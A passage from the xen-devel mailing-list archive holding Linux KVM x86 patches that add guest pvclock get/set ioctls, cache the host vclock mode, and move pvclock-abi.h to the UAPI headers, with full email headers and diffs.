+#ifdef CONFIG_X86_64
+static int kvm_vcpu_ioctl_get_clock_guest(struct kvm_vcpu *v, void __user *argp)
+{
+	struct pvclock_vcpu_time_info hv_clock = {};
+	struct kvm_vcpu_arch *vcpu = &v->arch;
+	struct kvm_arch *ka = &v->kvm->arch;
+	unsigned int seq;
+
+	/*
+	 * If KVM_REQ_CLOCK_UPDATE is already pending, or if the pvclock
+	 * has never been generated at all, call kvm_guest_time_update().
+	 */
+	if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, v) || !vcpu->hw_tsc_hz) {
+		int idx = srcu_read_lock(&v->kvm->srcu);
+		int ret = kvm_guest_time_update(v);
+
+		srcu_read_unlock(&v->kvm->srcu, idx);
+		if (ret)
+			return -EINVAL;
+	}
+
+	/*
+	 * Reconstruct the pvclock from the master clock state, matching
+	 * exactly what kvm_guest_time_update() writes to the guest.
+	 */
+	do {
+		seq = read_seqcount_begin(&ka->pvclock_sc);
+
+		if (!ka->use_master_clock)
+			return -EINVAL;
+
+		hv_clock.tsc_timestamp = kvm_read_l1_tsc(v, ka->master_cycle_now);
+		hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
+
+	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;
+	hv_clock.tsc_to_system_mul = vcpu->pvclock_tsc_mul;
+	hv_clock.flags = PVCLOCK_TSC_STABLE_BIT;
+
+	if (copy_to_user(argp, &hv_clock, sizeof(hv_clock)))
+		return -EFAULT;
+
+	return 0;
+}
+
+/*
+ * Reverse the calculation in the hv_clock definition.
+ *
+ * time_ns = ( (cycles << shift) * mul ) >> 32;
+ * (although shift can be negative, so that's bad C)
+ *
+ * So for a single second,
+ * NSEC_PER_SEC = ( ( FREQ_HZ << shift) * mul ) >> 32
+ * NSEC_PER_SEC << 32 = ( FREQ_HZ << shift ) * mul
+ * ( NSEC_PER_SEC << 32 ) / mul = FREQ_HZ << shift
+ * ( NSEC_PER_SEC << 32 ) / mul ) >> shift = FREQ_HZ
+ */
+static u64 hvclock_to_hz(u32 mul, s8 shift)
+{
+	u64 tm = NSEC_PER_SEC << 32;
+
+	/* Maximise precision. Shift right until the top bit is set */
+	tm <<= 2;
+	shift += 2;
+
+	/* While 'mul' is even, increase the shift *after* the division */
+	while (!(mul & 1)) {
+		shift++;
+		mul >>= 1;
+	}
+
+	tm /= mul;
+
+	if (shift >= 64)
+		return 0;
+	if (shift > 0)
+		return tm >> shift;
+	if (shift <= -64)
+		return 0;
+	return tm << -shift;
+}
+
+static int kvm_vcpu_ioctl_set_clock_guest(struct kvm_vcpu *v, void __user *argp)
+{
+	struct pvclock_vcpu_time_info user_hv_clock;
+	struct kvm *kvm = v->kvm;
+	struct kvm_arch *ka = &kvm->arch;
+	u64 curr_tsc_hz, user_tsc_hz;
+	u64 user_clk_ns;
+	u64 guest_tsc;
+	int rc = 0;
+
+	if (copy_from_user(&user_hv_clock, argp, sizeof(user_hv_clock)))
+		return -EFAULT;
+
+	if (user_hv_clock.pad0 || user_hv_clock.pad[0] || user_hv_clock.pad[1])
+		return -EINVAL;
+
+	if (!user_hv_clock.tsc_to_system_mul)
+		return -EINVAL;
+
+	if (user_hv_clock.tsc_shift < -31 || user_hv_clock.tsc_shift > 31)
+		return -EINVAL;
+
+	user_tsc_hz = hvclock_to_hz(user_hv_clock.tsc_to_system_mul,
+				    user_hv_clock.tsc_shift);
+
+	kvm_hv_request_tsc_page_update(kvm);
+
+	/*
+	 * kvm_start_pvclock_update() takes tsc_write_lock and opens
+	 * the pvclock seqcount; kvm_end_pvclock_update() closes both.
+	 * All clock state modifications between them are atomic with
+	 * respect to readers in kvm_guest_time_update().
+	 */
+	kvm_start_pvclock_update(kvm);
+	pvclock_update_vm_gtod_copy(kvm);
+
+	if (!ka->use_master_clock) {
+		rc = -EINVAL;
+		goto out;
+	}
+
+	curr_tsc_hz = (u64)get_cpu_tsc_khz() * 1000;
+	if (unlikely(curr_tsc_hz == 0)) {
+		rc = -EINVAL;
+		goto out;
+	}
+
+	if (kvm_caps.has_tsc_control)
+		curr_tsc_hz = kvm_scale_tsc(curr_tsc_hz,
+					    v->arch.l1_tsc_scaling_ratio);
+
+	/*
+	 * Allow for a discrepancy of 1 kHz either way between the TSC
+	 * frequency used to generate the user's pvclock and the current
+	 * host's measured frequency, since they may not precisely match.
+	 */
+	if (user_tsc_hz < curr_tsc_hz - 1000 ||
+	    user_tsc_hz > curr_tsc_hz + 1000) {
+		rc = -ERANGE;
+		goto out;
+	}
+
+	/*
+	 * Calculate the guest TSC at the new reference point, and the
+	 * corresponding KVM clock value according to user_hv_clock.
+	 * Adjust kvmclock_offset so both definitions agree.
+	 */
+	guest_tsc = kvm_read_l1_tsc(v, ka->master_cycle_now);
+	if (guest_tsc < user_hv_clock.tsc_timestamp) {
+		rc = -EINVAL;
+		goto out;
+	}
+	user_clk_ns = __pvclock_read_cycles(&user_hv_clock, guest_tsc);
+	ka->kvmclock_offset = user_clk_ns - ka->master_kernel_ns;
+
+out:
+	kvm_end_pvclock_update(kvm);
+	return rc;
+}
+#endif
+
 long kvm_arch_vcpu_ioctl(struct file *filp,
 			 unsigned int ioctl, unsigned long arg)
 {
@@ -6610,6 +6773,14 @@ long kvm_arch_vcpu_ioctl(struct file *filp,
 		srcu_read_unlock(&vcpu->kvm->srcu, idx);
 		break;
 	}
+#ifdef CONFIG_X86_64
+	case KVM_SET_CLOCK_GUEST:
+		r = kvm_vcpu_ioctl_set_clock_guest(vcpu, argp);
+		break;
+	case KVM_GET_CLOCK_GUEST:
+		r = kvm_vcpu_ioctl_get_clock_guest(vcpu, argp);
+		break;
+#endif
 #ifdef CONFIG_KVM_HYPERV
 	case KVM_GET_SUPPORTED_HV_CPUID:
 		r = kvm_ioctl_get_supported_hv_cpuid(vcpu, argp);
diff --git a/include/uapi/linux/kvm.h b/include/uapi/linux/kvm.h
index 6c8afa2047bf..9b50191b859c 100644
--- a/include/uapi/linux/kvm.h
+++ b/include/uapi/linux/kvm.h
@@ -1669,4 +1669,7 @@ struct kvm_pre_fault_memory {
 	__u64 padding[5];
 };
 
+#define KVM_SET_CLOCK_GUEST	_IOW(KVMIO, 0xd6, struct pvclock_vcpu_time_info)
+#define KVM_GET_CLOCK_GUEST	_IOR(KVMIO, 0xd7, struct pvclock_vcpu_time_info)
+
 #endif /* __LINUX_KVM_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353748.1609438 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKm-000522-Fe; Fri, 03 Jul 2026 21:22:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353748.1609438; Fri, 03 Jul 2026 21:22:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKm-00051r-CB; Fri, 03 Jul 2026 21:22:04 +0000
Received: by outflank-mailman (input) for mailman id 1353748;
 Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKk-00051O-DP
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKj-001t36-Bn; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827ca-bab6-0a2a0a5309dd-0a2a4503bf3c-14
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f8-ec1a-0a2a45030019-5a9b322284a8-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYQ-3NCh; Fri, 03 Jul 2026 21:21:50 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RQ7-2xkg;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=EpzXffKcCC8OCVBj38i2t8eVI2Er97bsxo1QNBYCK8E=; b=jIerjpGT+yTwXfADnzFS9Ehvw1
	qj5/hvk/X0LarGRgEVv+dsiKFbGxRWGknJH57gqRXscS5FUYAhSqnvtRBTN2Z6vn9teqs3fY7T27K
	jW8kTa1Wn2iOLEOqSbhIdiHt8Zmudzhq+tZg56Q8n6poP0Su9bZXGRUplcGieKFs0iNapavWjR6fc
	hzkoY/l9qx1zH8w8EdFXPjFM5inA9cmW6nJSdRy1/qSf00oSXhQLvq8P2NHcd9wzCsCydXn58F6FC
	AElEi2x7GlGagDUvtuQfZMQtQYs0miIjMnEqFVh2YzqPw/nArOHgfhgvtrehoSUcccIphTfkzHx4t
	XG8AdZ9w==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 34/36] KVM: x86: Cache host vclock_mode for masterclock eligibility checks
Date: Fri,  3 Jul 2026 22:18:13 +0100
Message-ID: <20260703212145.343527-35-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1783113721-B4F835D1-4427BB93/0/0
X-purgate-type: clean
X-purgate-size: 4113

From: David Woodhouse <dwmw@amazon.co.uk>

The remaining users of pvclock_gtod_data only need to know whether
the host clocksource is TSC-based. Cache the vclock_mode value in a
simple kvm_host_vclock_mode variable, updated by the pvclock_gtod_notify
callback, and use gtod_is_based_on_tsc() for eligibility checks.

This is inherently racy (as it always was â€” kvm_track_tsc_matching
never held the gtod seqcount), relying on eventual consistency: the
notifier fires on every timekeeping update and will correct any
transient inconsistency within one tick.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro (claude-opus-4.6-1m)
---
 arch/x86/kvm/x86.c | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 8d520bfae089..c67655f8e078 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2647,6 +2647,8 @@ static u64 compute_guest_tsc(struct kvm_vcpu *vcpu, s64 kernel_ns)
 }
 
 #ifdef CONFIG_X86_64
+static int kvm_host_vclock_mode;
+
 static inline bool gtod_is_based_on_tsc(int mode)
 {
 	return mode == VDSO_CLOCKMODE_TSC || mode == VDSO_CLOCKMODE_HVCLOCK;
@@ -2676,7 +2678,6 @@ static bool kvm_use_master_clock(struct kvm *kvm)
 static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 {
 	struct kvm_arch *ka = &vcpu->kvm->arch;
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
 	bool prev_matched_tsc = ka->all_vcpus_matched_tsc;
 
 	/*
@@ -2713,7 +2714,7 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 	 * accounts for its offset.
 	 */
 	bool use_master_clock = kvm_use_master_clock(vcpu->kvm) &&
-				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
+				gtod_is_based_on_tsc(kvm_host_vclock_mode);
 
 	/*
 	 * Request a masterclock update if needed: toggling master clock,
@@ -2726,11 +2727,11 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 
 	trace_kvm_track_tsc(vcpu->vcpu_id, ka->nr_vcpus_matched_tsc,
 			    atomic_read(&vcpu->kvm->online_vcpus),
-		            ka->use_master_clock, gtod->clock.vclock_mode);
+		            ka->use_master_clock, kvm_host_vclock_mode);
 }
 #else
 static inline void kvm_track_tsc_matching(struct kvm_vcpu *vcpu,
-					  bool new_generation) {}
+					  bool update_mclock) {}
 #endif
 
 /*
@@ -2850,7 +2851,7 @@ static inline bool kvm_check_tsc_unstable(void)
 	 * TSC is marked unstable when we're running on Hyper-V,
 	 * 'TSC page' clocksource is good.
 	 */
-	if (pvclock_gtod_data.clock.vclock_mode == VDSO_CLOCKMODE_HVCLOCK)
+	if (kvm_host_vclock_mode == VDSO_CLOCKMODE_HVCLOCK)
 		return false;
 #endif
 	return check_tsc_unstable();
@@ -3274,7 +3275,6 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 {
 #ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &kvm->arch;
-	int vclock_mode;
 	bool host_tsc_clocksource;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
@@ -3314,9 +3314,9 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 			ka->use_master_clock = false;
 	}
 
-	vclock_mode = pvclock_gtod_data.clock.vclock_mode;
-	trace_kvm_update_master_clock(ka->use_master_clock, vclock_mode,
-					ka->all_vcpus_matched_freq);
+	trace_kvm_update_master_clock(ka->use_master_clock,
+				     kvm_host_vclock_mode,
+				     ka->all_vcpus_matched_freq);
 #endif
 }
 
@@ -10399,12 +10399,15 @@ static int pvclock_gtod_notify(struct notifier_block *nb, unsigned long unused,
 	update_pvclock_gtod(tk);
 
 #ifdef CONFIG_X86_64
+	kvm_host_vclock_mode =
+		tk->tkr_mono.clock->vdso_clock_mode;
+
 	/*
 	 * Disable master clock if host does not trust, or does not use,
 	 * TSC based clocksource. Delegate queue_work() to irq_work as
 	 * this is invoked with tk_core.seq write held.
 	 */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode) &&
+	if (!gtod_is_based_on_tsc(kvm_host_vclock_mode) &&
 	    atomic_read(&kvm_guest_has_master_clock) != 0)
 		irq_work_queue(&pvclock_irq_work);
 #endif
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353756.1609501 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKq-0006Is-JK; Fri, 03 Jul 2026 21:22:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353756.1609501; Fri, 03 Jul 2026 21:22:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKq-0006H8-7Z; Fri, 03 Jul 2026 21:22:08 +0000
Received: by outflank-mailman (input) for mailman id 1353756;
 Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKo-0005Xr-HM
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKn-00BEX7-GE; Fri, 03 Jul 2026 23:22:05 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827be-5cb7-0a2a0a5109dd-0a2a450bcf44-20
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:05 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f8-ac48-0a2a450b0019-5a9b3222e674-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKW-0000000AsXx-09Ii; Fri, 03 Jul 2026 21:21:48 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKV-00000001RNx-3z0C;
 Fri, 03 Jul 2026 22:21:47 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=JGip5OQmCNyYBe2RKNqtANSbVWKYmHi+8pzbH2BRHSA=; b=K/OjjdcT6O/cygwEuqkom8qloZ
	C+OSPUx10ymjhW/V1tZF78Q5nJxxW2QjPYLriE1GdGwSREYz44Tw3TsyTe82NSqCWM4lhGivf38wg
	9D4xJ62zrzNbRoTxpSRpCCvI1dys9Fy/vhBI//h1vnhNBgX8NhQ4YfneO8qb7VoE7Wc2qbmTreVVa
	GCneIJ/+04IgHesf0fEdF7QfFZ4qvRcVRcQeGwt1frRTnHVzA3JdKed2mpPaZI/LW7m4axN8dohsQ
	eqIh5yx6j6F7xOtPZxM5z3JlqseV4oJ+7+jG5Og0yXJOI4I7gubsrk0nQ/3NxYg95+n+OLVBYJeVh
	wxION8tA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 03/36] UAPI: x86: Move pvclock-abi to UAPI for x86 platforms
Date: Fri,  3 Jul 2026 22:17:42 +0100
Message-ID: <20260703212145.343527-4-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-42698a/1783113725-A5B20220-C70E66EA/0/0
X-purgate-type: clean
X-purgate-size: 3570

From: Jack Allister <jalliste@amazon.com>

A subsequent commit will provide a new KVM interface for performing a
fixup/correction of the KVM clock against the reference TSC. The
KVM_[GS]ET_CLOCK_GUEST API requires a pvclock_vcpu_time_info, as such
the caller must know about this definition.

Move the definition to the UAPI folder so that it is exported to
usermode and also change the type definitions to use the standard for
UAPI exports.

Signed-off-by: Jack Allister <jalliste@amazon.com>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 MAINTAINERS                                   |  4 +--
 arch/x86/include/{ => uapi}/asm/pvclock-abi.h | 27 ++++++++++---------
 scripts/xen-hypercalls.sh                     |  2 +-
 3 files changed, 18 insertions(+), 15 deletions(-)
 rename arch/x86/include/{ => uapi}/asm/pvclock-abi.h (82%)

diff --git a/MAINTAINERS b/MAINTAINERS
index 905c29fe4996..057ccef8d1fa 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -14420,7 +14420,7 @@ S:	Supported
 T:	git git://git.kernel.org/pub/scm/virt/kvm/kvm.git
 F:	arch/um/include/asm/kvm_para.h
 F:	arch/x86/include/asm/kvm_para.h
-F:	arch/x86/include/asm/pvclock-abi.h
+F:	arch/x86/include/uapi/asm/pvclock-abi.h
 F:	arch/x86/include/uapi/asm/kvm_para.h
 F:	arch/x86/kernel/kvm.c
 F:	arch/x86/kernel/kvmclock.c
@@ -29105,7 +29105,7 @@ R:	Boris Ostrovsky <boris.ostrovsky@oracle.com>
 L:	xen-devel@lists.xenproject.org (moderated for non-subscribers)
 S:	Supported
 F:	arch/x86/configs/xen.config
-F:	arch/x86/include/asm/pvclock-abi.h
+F:	arch/x86/include/uapi/asm/pvclock-abi.h
 F:	arch/x86/include/asm/xen/
 F:	arch/x86/platform/pvh/
 F:	arch/x86/xen/
diff --git a/arch/x86/include/asm/pvclock-abi.h b/arch/x86/include/uapi/asm/pvclock-abi.h
similarity index 82%
rename from arch/x86/include/asm/pvclock-abi.h
rename to arch/x86/include/uapi/asm/pvclock-abi.h
index b9fece5fc96d..6d70cf640362 100644
--- a/arch/x86/include/asm/pvclock-abi.h
+++ b/arch/x86/include/uapi/asm/pvclock-abi.h
@@ -1,6 +1,9 @@
-/* SPDX-License-Identifier: GPL-2.0 */
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
 #ifndef _ASM_X86_PVCLOCK_ABI_H
 #define _ASM_X86_PVCLOCK_ABI_H
+
+#include <linux/types.h>
+
 #ifndef __ASSEMBLER__
 
 /*
@@ -24,20 +27,20 @@
  */
 
 struct pvclock_vcpu_time_info {
-	u32   version;
-	u32   pad0;
-	u64   tsc_timestamp;
-	u64   system_time;
-	u32   tsc_to_system_mul;
-	s8    tsc_shift;
-	u8    flags;
-	u8    pad[2];
+	__u32   version;
+	__u32   pad0;
+	__u64   tsc_timestamp;
+	__u64   system_time;
+	__u32   tsc_to_system_mul;
+	__s8    tsc_shift;
+	__u8    flags;
+	__u8    pad[2];
 } __attribute__((__packed__)); /* 32 bytes */
 
 struct pvclock_wall_clock {
-	u32   version;
-	u32   sec;
-	u32   nsec;
+	__u32   version;
+	__u32   sec;
+	__u32   nsec;
 } __attribute__((__packed__));
 
 #define PVCLOCK_TSC_STABLE_BIT	(1 << 0)
diff --git a/scripts/xen-hypercalls.sh b/scripts/xen-hypercalls.sh
index f18b00843df3..51a722198997 100755
--- a/scripts/xen-hypercalls.sh
+++ b/scripts/xen-hypercalls.sh
@@ -5,7 +5,7 @@ shift
 in="$@"
 
 for i in $in; do
-	eval $CPP $LINUXINCLUDE -dD -imacros "$i" -x c /dev/null
+	eval $CPP -D__KERNEL__ $LINUXINCLUDE -dD -imacros "$i" -x c /dev/null
 done | \
 awk '$1 == "#define" && $2 ~ /__HYPERVISOR_[a-z][a-z_0-9]*/ { v[$3] = $2 }
 	END {   print "/* auto-generated by scripts/xen-hypercall.sh */"
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353754.1609489 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKp-00067k-QD; Fri, 03 Jul 2026 21:22:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353754.1609489; Fri, 03 Jul 2026 21:22:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKp-00065J-Ii; Fri, 03 Jul 2026 21:22:07 +0000
Received: by outflank-mailman (input) for mailman id 1353754;
 Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKn-0005Py-Su
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKn-00A7vt-9e; Fri, 03 Jul 2026 23:22:05 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827a3-e002-0a2a0a5209dd-0a2a4507d220-28
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:05 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
